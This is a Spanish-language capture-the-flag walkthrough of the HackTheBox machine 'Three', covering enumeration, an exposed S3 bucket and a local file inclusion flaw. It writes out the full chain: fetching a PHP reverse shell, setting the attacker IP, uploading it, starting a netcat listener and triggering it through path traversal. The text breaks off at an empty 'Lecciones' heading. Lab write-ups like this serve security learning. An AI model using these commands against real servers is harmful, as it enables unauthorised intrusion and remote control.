Three — HTB Start Point

Dificultad: Very Easy · SO: Linux · Tema: buckets S3 expuestos + LFI → reverse shell

Reconocimiento

Trabajo ordenado desde el arranque: declaro la IP como variable para que toda la semántica sea más práctica durante toda la sesión.

export ip=<IP>
nmap -sC -sV -T4 $ip

nmap

Sitio web en el puerto 80 → lo agrego a /etc/hosts, práctica estándar para consumir vhosts:

echo "$ip   thetoppers.htb" | sudo tee -a /etc/hosts

sitio

Enumeración

Fuzzing de directorios y archivos PHP:

ffuf -u http://thetoppers.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302 -t 50

# wordlist propia enfocada en backups y configs
echo -e "config.php.bak\nbackup.zip\n.php\n.git\nphpinfo.php" > php_wordlist.txt
ffuf -u http://thetoppers.htb/FUZZ -w php_wordlist.txt -mc 200,301,302,403 -t 20

El directorio /images/ devolvía 200 y listaba todo el contenido:

listing

Pensé en inyectar algo ahí para una reverse shell, pero no era el camino. El vector real: enumeración de subdominios con gobuster.

gobuster vhost -u http://thetoppers.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Bingo: s3.thetoppers.htb — un bucket AWS S3 simulado.

subdominio

Explotación

Configuro credenciales AWS de laboratorio y planto una reverse shell PHP limpia en el bucket:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
sed -i "s/127.0.0.1/<TU_IP_TUN0>/g; s/1234/443/g" shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
nc -nvlp 443
curl "http://thetoppers.htb/index.php?page=../../var/www/s3/shell.php"

shell

Sesión ganada como www-data.

Qué pasó técnicamente (paso a paso)

  1. Subimos un archivo PHP malicioso al bucket S3
  2. El parámetro page de index.php tiene una vulnerabilidad de inclusión de archivos
  3. Mediante path traversal (../../) navegamos hasta donde vive nuestro shell: /var/www/s3/shell.php
  4. Listener netcat abierto ANTES en el puerto 443
  5. Al visitar la URL, el servidor ejecuta nuestro PHP → conexión reversa al atacante

Este patrón se llama LFI + Reverse Shell: funciona cuando el servidor permite incluir archivos locales y ejecutar PHP.

Lecciones